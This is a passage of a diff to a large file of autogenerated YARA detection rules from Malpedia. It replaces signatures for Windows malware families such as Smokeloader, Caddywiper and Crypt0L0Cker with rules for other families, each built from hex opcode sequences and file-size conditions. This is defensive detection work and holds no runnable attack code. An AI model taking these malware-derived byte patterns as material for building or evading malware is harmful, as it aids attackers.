-		logic_hash = "3ce866cbdb58e590ea553be6664221b117cb83d9a5d4d70643f018e4fb580d20"
+		logic_hash = "e53726bff6b275a8cbfe6479d201a659d381061025ff16663204532183241afc"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -131939,32 +139142,30 @@ rule MALPEDIA_Win_Crypt0L0Cker_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 85c0 0f8486000000 53 8d58ff c1eb02 56 }
-		$sequence_1 = { 8b4640 85c0 0f8479000000 83780c00 7473 6800010000 e8???????? }
-		$sequence_2 = { 85f6 0f8ead000000 8d4108 8d04b8 894508 8b4510 83c008 }
-		$sequence_3 = { 55 56 8d44240f 8bea 50 6a01 ff35???????? }
-		$sequence_4 = { 83c40c 33c0 6689043b 897e08 85ff 0f84d6000000 }
-		$sequence_5 = { 8b4c243c 8b442430 8911 894104 eb17 8bcf e8???????? }
-		$sequence_6 = { b9???????? 3d90010000 0f4cce 8bf1 8b7f04 85f6 74c9 }
-		$sequence_7 = { 8bce e8???????? 8bf8 83c408 85ff 7438 83c705 }
-		$sequence_8 = { 68???????? 6a05 6840b6b9a6 6a1c e8???????? 83c424 }
-		$sequence_9 = { 0f8581020000 807dee81 0f8577020000 ff75ef ff15???????? 8b0f 8bd3 }
+		$sequence_0 = { 8b0f 51 e8???????? 83c404 5d 5f 83c408 }
+		$sequence_1 = { e8???????? 83c404 eb15 8d942464020000 52 8d442418 }
+		$sequence_2 = { 33ed 391d???????? 743d bf???????? }
+		$sequence_3 = { b9???????? 66895010 c7004418a150 e8???????? 8d3c47 }
+		$sequence_4 = { 53 55 e8???????? 83c40c 84c0 7506 83c3ff }
+		$sequence_5 = { 803d????????01 56 7527 8b742408 56 ff15???????? }
+		$sequence_6 = { e8???????? 81c470040000 c3 8b542430 3b542420 750e }
+		$sequence_7 = { 7543 3805???????? 753b 8d8c2464020000 51 68???????? }
 
 	condition:
-		7 of them and filesize <917504
+		7 of them and filesize <330752
 }
-rule MALPEDIA_Win_Bitsran_Auto : FILE
+rule MALPEDIA_Win_Stormwind_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e3cfbc68-7ec2-5ca7-89d3-b794638917c8"
+		id = "134843ba-afb3-5108-9e28-7ec5026e872c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bitsran"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bitsran_auto.yar#L1-L119"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stormwind"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.stormwind_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "2919e184e2a9722abe679cf353ecc217eb2b7fdd010f4e63772073cd0ac5e798"
+		logic_hash = "81578edc87d2c38ca6c94ce63cf22ed064b72d5bc6a7c525985af57574ba5c73"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -131978,34 +139179,34 @@ rule MALPEDIA_Win_Bitsran_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 85c0 7433 56 57 8bbdf8bfffff c1ef02 }
-		$sequence_1 = { 8911 8b0d???????? 8b9d58fdffff eb5e 8b35???????? }
-		$sequence_2 = { 85f6 7417 8b4508 50 }
-		$sequence_3 = { 50 53 e8???????? 8b9d44fdffff 83ef04 }
-		$sequence_4 = { 83c408 85c0 7403 8975fc 8b03 8d55b8 52 }
-		$sequence_5 = { 742b 8bc1 2bc1 c1f802 8d348500000000 }
-		$sequence_6 = { 8b04c5046f4100 5d c3 8bff }
-		$sequence_7 = { 8d95d4fbffff 52 53 ff15???????? 837d1401 7407 }
-		$sequence_8 = { 2bc3 c1f802 3dfeffff3f 0f87d0010000 8bca 2bcb }
-		$sequence_9 = { 899d58fdffff 3bd9 0f83fe000000 3bd3 0f87f6000000 8b35???????? 2bda }
+		$sequence_0 = { e8???????? 83c404 8bf7 3b3b 75e2 }
+		$sequence_1 = { 83e4f8 81ec1c010000 53 8b5d10 56 57 8b7d0c }
+		$sequence_2 = { e8???????? 83ec0c c745fc00000000 8d4e04 e8???????? 85c0 8b06 }
+		$sequence_3 = { 50 ff7604 56 e8???????? 894604 c745d801000000 8b4804 }
+		$sequence_4 = { 59 8b7d08 33db 391cfd88e40410 755c 6a18 e8???????? }
+		$sequence_5 = { 83fa05 7509 8b852cfdffff 89470c 6bc20c 57 ff90c04e0410 }
+		$sequence_6 = { 8d4de4 e8???????? 68???????? 8d45e4 c745e4740c0410 50 e8???????? }
+		$sequence_7 = { f7fe 57 8bc2 99 }
+		$sequence_8 = { c74508???????? 50 8d4de4 e8???????? 68???????? 8d45e4 c745e4740c0410 }
+		$sequence_9 = { 8975d4 68b8020000 c645fc01 e8???????? }
 
 	condition:
-		7 of them and filesize <344064
+		7 of them and filesize <741376
 }
-rule MALPEDIA_Win_Smokeloader_Auto : FILE
+rule MALPEDIA_Win_Darkloader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "977bd971-8931-5636-8c4a-15a97d7d7052"
+		id = "601e152a-7554-5605-b5d8-66c528809ef1"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.smokeloader_auto.yar#L1-L568"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkloader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.darkloader_auto.yar#L1-L119"
 		license_url = "N/A"
-		logic_hash = "1e0a8327807cdebec07ee883bf0e214c6531b2f2bf2969115a759b540a5a3955"
+		logic_hash = "3bce0c9d521648c67df3e1e758ce6a8ac769bd1d815dcd4dfd750767fac4bfe8"
 		score = 75
-		quality = 50
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -132017,89 +139218,34 @@ rule MALPEDIA_Win_Smokeloader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? 8d45f0 50 8d45e8 50 8d45e0 50 }
-		$sequence_1 = { 57 ff15???????? 6a00 6800000002 6a03 6a00 6a03 }
-		$sequence_2 = { 50 8d45e0 50 56 ff15???????? 56 ff15???????? }
-		$sequence_3 = { 8bf0 8d45dc 50 6a00 53 ff15???????? }
-		$sequence_4 = { 740a 83c104 83f920 72f0 }
-		$sequence_5 = { e8???????? 8bf0 8d45fc 50 ff75fc 56 6a19 }
-		$sequence_6 = { ff15???????? bf90010000 8bcf e8???????? }
-		$sequence_7 = { 0fb64405dc 50 8d45ec 50 }
-		$sequence_8 = { 50 56 681f000f00 57 }
-		$sequence_9 = { 56 8d45fc 50 57 57 6a19 }
-		$sequence_10 = { 668ce8 6685c0 7406 fe05???????? }
-		$sequence_11 = { 8b07 03c3 50 ff15???????? }
-		$sequence_12 = { 56 ff15???????? 50 56 6a00 ff15???????? }
-		$sequence_13 = { 33c0 e9???????? e8???????? b904010000 }
-		$sequence_14 = { 88443c18 88543418 0fb64c3c18 0fb6c2 03c8 81e1ff000000 }
-		$sequence_15 = { 81e5ff000000 8a442c18 88443c18 47 }
-		$sequence_16 = { e8???????? 8bf8 68???????? ff15???????? }
-		$sequence_17 = { ebf5 55 8bec 83ec24 8d45f4 53 }
-		$sequence_18 = { 50 57 ff15???????? 43 83fb0f }
-		$sequence_19 = { 8b7d10 50 57 56 53 e8???????? }
-		$sequence_20 = { 8d8de8fdffff 50 50 50 }
-		$sequence_21 = { 8d95f0fdffff c70200000000 6800800000 52 51 6aff }
-		$sequence_22 = { 8985ecfdffff ffb5f0fdffff 50 53 e8???????? 8d8decfdffff }
-		$sequence_23 = { e8???????? 2500300038 005800 2500300038 }
-		$sequence_24 = { 8db5f8fdffff c60653 56 6a00 6a00 6a00 }
-		$sequence_25 = { 8b4514 898608020000 56 6aff }
-		$sequence_26 = { 01d4 8d85f0fdffff 8b750c 8b7d10 50 57 }
-		$sequence_27 = { fc 5f 5e 5b }
-		$sequence_28 = { 89e5 81ec5c060000 53 56 }
-		$sequence_29 = { 30d0 aa e2f3 7505 }
-		$sequence_30 = { 89cf fc b280 31db a4 }
-		$sequence_31 = { 60 89c6 89cf fc }
-		$sequence_32 = { ff15???????? 85c0 747c 488b4c2448 4533c9 488d442440 }
-		$sequence_33 = { 488b4547 488907 4885c9 740f 8b450f 48894d17 83c802 }
-		$sequence_34 = { 33c9 e8???????? 488bd8 4584ff 7411 41b101 }
-		$sequence_35 = { 4f 8d1c10 41 8b4b18 45 }
-		$sequence_36 = { 01c4 ffc9 49 8d3c8c }
-		$sequence_37 = { 4c 01c7 8b048f 4c }
-		$sequence_38 = { 49 8d3c8c 8b37 4c 01c6 }
-		$sequence_39 = { 41b104 448bc7 488bcb e8???????? 488b742440 488bc3 488b5c2430 }
-		$sequence_40 = { 55 89e5 81ec54040000 53 }
-		$sequence_41 = { 33c9 4c897c2428 c744242000a00f00 ff15???????? }
-		$sequence_42 = { 8b4b18 45 8b6320 4d }
-		$sequence_43 = { 89d0 c1e205 01c2 31c0 ac 01c2 85c0 }
-		$sequence_44 = { 83c408 85c0 0f84cb000000 8b45f4 2d10bf3400 0fb74dec }
-		$sequence_45 = { 8946fc ad 85c0 75f3 c3 56 }
-		$sequence_46 = { 56 ad 01e8 31c9 c1c108 3208 }
-		$sequence_47 = { 8b4da0 8b55a4 895148 689d1e6b63 8b45e4 50 }
-		$sequence_48 = { 8b45b4 894220 eb10 8b8d78ffffff 8b11 899578ffffff ebae }
-		$sequence_49 = { 03471c 8b0428 01e8 5e c3 }
-		$sequence_50 = { 5b c9 c20800 55 89e5 83ec04 }
-		$sequence_51 = { e8???????? 8945ac 6a00 6a04 8d45b4 50 }
-		$sequence_52 = { aa e2f3 7506 7404 }
-		$sequence_53 = { 55 8bec 83c4d0 1e 53 }
-		$sequence_54 = { 684a0dce09 8b45e4 50 e8???????? 8945a8 8b4da0 8b55a8 }
-		$sequence_55 = { 83ec0c e8???????? 8945f8 8b45f8 8b4860 894df4 ff7518 }
-		$sequence_56 = { 803800 75f5 31d1 75ec }
-		$sequence_57 = { 8b450c 2d10bf3400 8b4d08 c1e103 }
-		$sequence_58 = { 8b55f8 0fb70a c1e103 33d2 f7f1 8945fc }
-		$sequence_59 = { 5e c3 60 89c6 }
-		$sequence_60 = { 9a18a15c5d5d5d d6 0055d0 08a50f375d37 }
-		$sequence_61 = { 48 35f94e5d5d d6 59 79de 99 }
-		$sequence_62 = { 5d 5d b658 1f 79b6 a888 }
-		$sequence_63 = { 0055d0 08a50f375d37 5d 37 }
-		$sequence_64 = { 5d 5d 285829 5e cb }
+		$sequence_0 = { e8???????? 8bb42434020000 c1e607 68???????? 89b42438020000 8dbe10a10010 }
+		$sequence_1 = { c70424???????? e8???????? c70424???????? 8bf8 56 e8???????? }
+		$sequence_2 = { 51 ff36 8b00 8b00 8986b0010000 ff96bc010000 }
+		$sequence_3 = { 57 ff74241c e8???????? 03c3 0fb73470 }
+		$sequence_4 = { 3c5f 7447 3c2e 7443 3c7e }
+		$sequence_5 = { 8b7c240c 8bcf 8906 8d5101 8a01 41 84c0 }
+		$sequence_6 = { 84c0 740b 80f90d 7519 }
+		$sequence_7 = { 894c241c 85c9 0f84b3000000 8b4020 }
+		$sequence_8 = { 6bc503 40 50 e8???????? be???????? 8d7c2418 }
+		$sequence_9 = { 83c428 50 6a40 6a05 53 ffd6 }
 
 	condition:
-		7 of them and filesize <245760
+		7 of them and filesize <124928
 }
-rule MALPEDIA_Win_Soraya_Auto : FILE
+rule MALPEDIA_Win_Keylogger_Apt3_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "17c03046-2ad1-5623-9130-def458833386"
+		id = "0f9f82cd-fdec-56a7-a0cb-1e9762492ad7"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.soraya"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.soraya_auto.yar#L1-L230"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.keylogger_apt3"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.keylogger_apt3_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "43793169adfc64c624ebc876524a7869403686546a466d508c127ca9f78faaa7"
+		logic_hash = "d74e9ef23a0b946252054fc1985382779e2408df3e68ecb0420a27d04cacd609"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -132111,45 +139257,32 @@ rule MALPEDIA_Win_Soraya_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? 8d48bf 80f919 77f2 }
-		$sequence_1 = { e8???????? 488d151af0ffff 488d8d60020000 ff15???????? e8???????? 488d8d60020000 488bd0 }
-		$sequence_2 = { 57 8bd8 56 53 e8???????? 8b733c }
-		$sequence_3 = { 33c1 99 b99a000000 f7f9 b8fe340000 }
-		$sequence_4 = { 488bd0 4c8b4850 498bcb 41b86b000000 }
-		$sequence_5 = { 41b800300000 ff15???????? 488b8d50010000 4c8d8d48010000 488bd8 488d8540010000 488d1565f4ffff }
-		$sequence_6 = { 8b4c2414 33c6 33ce 03c1 }
-		$sequence_7 = { 418bd6 3bcb 72c8 4c891d???????? 488d0d1fe0ffff }
-		$sequence_8 = { 894df4 0f8501010000 53 56 8b7178 }
-		$sequence_9 = { 8b4a0c 8b7210 03c8 8365fc00 8b55fc ff45fc }
-		$sequence_10 = { 488d0dfadfffff ff15???????? 488bc8 e8???????? 488d0df5dfffff ff15???????? 488d15f8dfffff }
-		$sequence_11 = { 689b558d52 6853d56c36 68ff555535 68f9d6feff 6888888868 }
-		$sequence_12 = { 8b45ec 2bf8 037d10 8b45e8 }
-		$sequence_13 = { 2bd0 894de0 3bd1 7649 8b55f8 33d6 }
-		$sequence_14 = { 03570c 034f0c 807df800 8a540203 8a4c0102 8855fb }
-		$sequence_15 = { 8b3d???????? 6a1c 8d45e0 50 6a00 }
-		$sequence_16 = { 7444 53 4883ec30 488bd9 b910270000 ff15???????? 8364242800 }
-		$sequence_17 = { 488d0d73f8ffff 498bd8 488bfa ff15???????? }
-		$sequence_18 = { 56 57 8d85fcfdffff 6800020000 50 e8???????? }
-		$sequence_19 = { ff45dc 295de0 4e 75e8 b844060000 0345c8 }
-		$sequence_20 = { 7424 56 6a00 683a040000 ff15???????? 8bf0 85f6 }
-		$sequence_21 = { 8dbc07fe3ef2ff 8b45d8 33c6 3bbc05be3ef2ff 0f82bdfdffff }
-		$sequence_22 = { 8b45fc 8b4dec 8b4508 8b9578ffffff 8b80d8010000 33d3 }
+		$sequence_0 = { 8be8 8d442458 50 55 57 }
+		$sequence_1 = { 3bf3 7523 68???????? ff15???????? 5f }
+		$sequence_2 = { 8b35???????? 8d6b08 55 50 ffd6 }
+		$sequence_3 = { 7453 53 8b5c240c 55 56 8b35???????? 8d6b08 }
+		$sequence_4 = { 89442420 3bf8 7216 5b 5f }
+		$sequence_5 = { ffd6 50 ffd7 ffd3 89442420 83f8ff 7551 }
+		$sequence_6 = { 0fb69695010000 50 0fb68694010000 51 52 50 }
+		$sequence_7 = { 84c0 75f8 2be9 8d5501 52 }
+		$sequence_8 = { e8???????? 68???????? 68???????? 8d4d7c e8???????? 8b45dc }
+		$sequence_9 = { c7442434d8174300 ffd6 8d542404 52 89442434 }
 
 	condition:
-		7 of them and filesize <188416
+		7 of them and filesize <761856
 }
-rule MALPEDIA_Win_Madmax_Auto : FILE
+rule MALPEDIA_Win_Caddywiper_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "230eedbf-6cae-5fdd-90b6-aea0b58f95e1"
+		id = "24926b93-f761-5ed3-a63e-3417e035ba52"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.madmax"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.madmax_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.caddywiper"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.caddywiper_auto.yar#L1-L116"
 		license_url = "N/A"
-		logic_hash = "8fadf42f6b346841d23791b849b5705de38f9f89679dc44544ef7b477d437506"
+		logic_hash = "79a75ac7d216323abd7ca177a49671b9ea50088d3b0d895d69cfd4d03ce4d9ea"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -132163,32 +139296,32 @@ rule MALPEDIA_Win_Madmax_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { d0cd 99 86d6 4c ae 2f 4e }
-		$sequence_1 = { b80c32e173 8ac5 08679e fb 59 8050cb80 baef812a0a }
-		$sequence_2 = { e07d d8cc 6a55 60 25a237f301 4a 4c }
-		$sequence_3 = { 8d8dd0feffff e8???????? 8db396000000 6a3b 9c f605????????d6 0f851c010000 }
-		$sequence_4 = { 93 9f 856d67 664c 8657b6 49 152b9be0c2 }
-		$sequence_5 = { d9dd 095527 17 44 4b 60 1f }
-		$sequence_6 = { f723 56 c8d95bcc 0e 64a04d98f5db 6e 051e079cc8 }
-		$sequence_7 = { ad 7ea5 6abd 650e 9c 3528e563a7 6c }
-		$sequence_8 = { f605????????e2 0f851d010000 73e7 f22486 85e6 210a e788 }
-		$sequence_9 = { f605????????a5 7531 df2e 8b1b f8 b36a 7928 }
+		$sequence_0 = { 8345b404 66837dac00 75c4 c745a800000000 }
+		$sequence_1 = { c68592feffff64 c68593feffff00 c68594feffff76 c68595feffff00 c68596feffff61 c68597feffff00 }
+		$sequence_2 = { 51 e8???????? 83c408 8985b0fbffff c785f4f1ffff00000000 c68588fbffff4c }
+		$sequence_3 = { e9???????? 6a00 8b95acf1ffff 52 ff9564f7ffff }
+		$sequence_4 = { 8b4dfc 8b5508 c7048a00000000 ebd7 }
+		$sequence_5 = { c645b900 c645ba39 c645bb00 c645bc00 c645bd00 8d4d98 898df4f7ffff }
+		$sequence_6 = { c685a3feffff00 c685a4feffff6c c685a5feffff00 c685a6feffff6c c685a7feffff00 }
+		$sequence_7 = { c6459264 c6459300 8d458c 50 8d8d90feffff }
+		$sequence_8 = { 8985fcf7ffff 8d55c0 52 8d45dc }
+		$sequence_9 = { 7407 8b4598 50 ff55fc 8b4594 8be5 }
 
 	condition:
-		7 of them and filesize <3227648
+		7 of them and filesize <33792
 }
-rule MALPEDIA_Win_Nokoyawa_Auto : FILE
+rule MALPEDIA_Win_Obscene_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "71f47de5-b877-5435-a43f-09577ab6e252"
+		id = "b0504e00-5509-5e10-82c6-a688a7937d0f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nokoyawa"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nokoyawa_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.obscene"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.obscene_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "a3e5835d9868e848c4cf7b1e58144cc15b3f0d5c2b0274b447bdec70231f3ad8"
+		logic_hash = "62960aba55b9b132d0d487c37c4dacdc8a915363f3251233103a943c3f791f18"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -132202,32 +139335,32 @@ rule MALPEDIA_Win_Nokoyawa_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 33c8 8bc1 8b4c2420 488b9424c0000000 88040a e9???????? 33c0 }
-		$sequence_1 = { 488b4c2460 e8???????? 488b442468 4883e0c0 }
-		$sequence_2 = { 890424 8b0424 83c003 99 83e203 03c2 c1f802 }
-		$sequence_3 = { 488b4c2448 488b0c01 e8???????? 85c0 7511 c605????????01 e8???????? }
-		$sequence_4 = { 89442434 e8???????? 488905???????? 8b442434 }
-		$sequence_5 = { 48894c2408 4883ec18 48c7042400000000 488b442420 488b0c24 0fb70448 }
-		$sequence_6 = { 8b442420 83c014 89442420 837c242040 }
-		$sequence_7 = { 880424 488b442410 48c1e005 4803442410 0fb60c24 4803c1 4889442410 }
-		$sequence_8 = { 486bc907 8b4c0c20 8b440420 33c1 b904000000 }
-		$sequence_9 = { 8b9424a0000000 03d1 8bca 8d8408a1ebd96e 8b4c2414 03c8 }
+		$sequence_0 = { 6a06 68fc421010 ff35???????? 6aff ff15???????? ff7520 }
+		$sequence_1 = { 68e4401010 e8???????? 59 80a0e240101000 68e4401010 e8???????? 59 }
+		$sequence_2 = { 59 6820431010 68e4401010 e8???????? 59 59 85c0 }
+		$sequence_3 = { 0fbe00 83f809 7416 8b45fc 0fbe00 83f80d }
+		$sequence_4 = { 59 80a012109a0000 68???????? e8???????? }
+		$sequence_5 = { 50 e8???????? 59 68???????? 8d85ecf6ffff 50 }
+		$sequence_6 = { 8bec b8400d0300 e8???????? 68360d0300 ff7508 }
+		$sequence_7 = { 59 59 68c4501010 68d83f1010 6814110010 e8???????? }
+		$sequence_8 = { 0fbe00 83f82d 7409 8b45f8 40 8945f8 eb08 }
+		$sequence_9 = { 8365fc00 6a40 ff7508 ff15???????? 59 59 }
 
 	condition:
-		7 of them and filesize <92160
+		7 of them and filesize <2170880
 }
-rule MALPEDIA_Win_Cryptoshuffler_Auto : FILE
+rule MALPEDIA_Win_Elise_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "04846f99-89cf-54cb-88bc-877d2656a7fa"
+		id = "f217246a-45c9-5e4c-8fe4-ae9bb248bda8"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoshuffler"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cryptoshuffler_auto.yar#L1-L117"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.elise"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.elise_auto.yar#L1-L163"
 		license_url = "N/A"
-		logic_hash = "1d3d096bc8fe94bfe59d829c11ff29d324542295a6195d59ed4b925f302177ea"
+		logic_hash = "4bacbe3f48e2ba0fdae2760e38d43f9e3c8b071aa93c58355438ff735f59b16b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -132241,34 +139374,40 @@ rule MALPEDIA_Win_Cryptoshuffler_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 03fb e8???????? 8bf0 3b35???????? 7430 }
-		$sequence_1 = { 83c408 85c0 0f8496040000 6aff 6a00 8d442430 50 }
-		$sequence_2 = { 6bc830 8b049578f60210 f644082801 7421 57 }
-		$sequence_3 = { 0f57c0 c78424f400000000000000 68???????? 8d8c24e8000000 0f298424e8000000 e8???????? }
-		$sequence_4 = { c745ec10f80010 894df8 8945fc 64a100000000 8945e8 }
-		$sequence_5 = { e9???????? c745dc03000000 eb7c c745e0e04d0210 ebbb }
-		$sequence_6 = { 50 ff15???????? 8d842410030000 50 8d84248c010000 50 }
-		$sequence_7 = { e8???????? 8904bd78f60210 85c0 7514 6a0c }
-		$sequence_8 = { 0f851b010000 8b01 c6400c01 8b31 c6410c00 }
-		$sequence_9 = { 0f1f4000 8b06 8b4e08 3bc1 }
+		$sequence_0 = { 0f8461010000 8d847eee040000 50 e8???????? 85c0 }
+		$sequence_1 = { 8bd0 c1ea0b 0fafd7 3bf2 7312 b800080000 }
+		$sequence_2 = { 8bcb 8dbe06050000 f3ab 8bc2 8bcb }
+		$sequence_3 = { 33c9 33db 663b4e06 731a }
+		$sequence_4 = { 8bcf e8???????? 8365f400 c1e004 0145fc 33f6 46 }
+		$sequence_5 = { 894dec 8945f4 8dbeba0a0000 8bc3 8bce }
+		$sequence_6 = { 7cf5 33c9 888f00010000 888f01010000 }
+		$sequence_7 = { 8d3470 d3e0 0945f4 43 83fb04 72e1 8b45f4 }
+		$sequence_8 = { 888f00010000 888f01010000 8bf7 8945f8 }
+		$sequence_9 = { 8d3400 8b44240c 03c6 50 }
+		$sequence_10 = { eb02 d1e8 4e 75f1 }
+		$sequence_11 = { e8???????? 59 59 33c0 e9???????? 8b35???????? }
+		$sequence_12 = { 42 0fb6fa 8a1c07 881c06 }
+		$sequence_13 = { 897df4 8b7d08 03df 0fb63c06 }
+		$sequence_14 = { 837d0c00 8a8800010000 8a9001010000 0f8e93000000 53 }
+		$sequence_15 = { 301f ff45f8 8b7df8 3b7d0c 0f8c7bffffff 5f 5e }
 
 	condition:
-		7 of them and filesize <425984
+		7 of them and filesize <204800
 }
-rule MALPEDIA_Win_Sysraw_Stealer_Auto : FILE
+rule MALPEDIA_Win_R980_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a9e810a6-264f-569e-b3d3-a9931864293b"
+		id = "5cd23ce7-fde9-586e-b7d0-c68d0d4730a5"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sysraw_stealer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sysraw_stealer_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.r980"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.r980_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "a25f6b3ba819f069101fb648f9516e51ed0f5298199445e1b66fa7cef9e138d8"
+		logic_hash = "6631f2c285d8397109ba8d7d2192a7dc1832567dbf3b5dac3dd0d91311ae325e"
 		score = 75
-		quality = 75
+		quality = 45
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -132280,32 +139419,32 @@ rule MALPEDIA_Win_Sysraw_Stealer_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 8d9504ffffff 51 8d8508ffffff 52 8d8d0cffffff }
-		$sequence_1 = { ffd6 a1???????? ba???????? 8b4814 c1e102 8bf9 8b480c }
-		$sequence_2 = { 51 89558c ffd7 8b558c f7d8 1bc0 f7d8 }
-		$sequence_3 = { 7507 c745ec01000000 8b4514 8b7de8 2bc7 6800000040 }
-		$sequence_4 = { ff15???????? 8b4dc0 894dd4 8d55c4 52 }
-		$sequence_5 = { c7400807000000 c7400c0f000000 c740101f000000 c740143f000000 c740187f000000 }
-		$sequence_6 = { 89bde0feffff ffd6 8b3d???????? 50 }
-		$sequence_7 = { c7420485ae67bb 8b4590 c7400872f36e3c 8b4d90 c7410c3af54fa5 }
-		$sequence_8 = { 53 56 57 8bd0 8bf1 8bf8 8bd9 }
-		$sequence_9 = { 8975c8 8975b8 8975a8 ff15???????? 8b45d0 8975cc 50 }
+		$sequence_0 = { 51 8d4dd4 e8???????? 837de810 8d45d4 53 0f4345d4 }
+		$sequence_1 = { e8???????? 56 8b08 8b01 ff5070 56 50 }
+		$sequence_2 = { 8d4dbc e8???????? 8d4dd4 e8???????? 8d4da4 e8???????? 8b4df4 }
+		$sequence_3 = { 85c0 7409 ff7608 50 e8???????? c7460800000000 c7460400000000 }
+		$sequence_4 = { 50 e8???????? 8bce e8???????? 8b4d1c 83c418 }
+		$sequence_5 = { 8bc7 f00fc14104 7515 8b01 ff10 8b4db4 8bc7 }
+		$sequence_6 = { ff4654 837e5440 750c c7465400000000 e8???????? 8b4658 83f8f8 }
+		$sequence_7 = { e8???????? 83ec18 8d8424c0000000 8bcc 50 e8???????? e9???????? }
+		$sequence_8 = { 8bc8 e8???????? 33c9 894ddc 8b448dc8 0f57c0 41 }
+		$sequence_9 = { c745fc00000000 8b30 8d45ec 50 e8???????? 83c404 8d4dec }
 
 	condition:
-		7 of them and filesize <1540096
+		7 of them and filesize <3178496
 }
-rule MALPEDIA_Win_Chches_Auto : FILE
+rule MALPEDIA_Win_Graftor_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a2d17035-5b65-5ddb-9479-7e5b4a4aa253"
+		id = "7d45e232-2e70-5f76-b127-1013459f5457"
 		date = "2023-12-06"
 		modified = "2023-12-08"
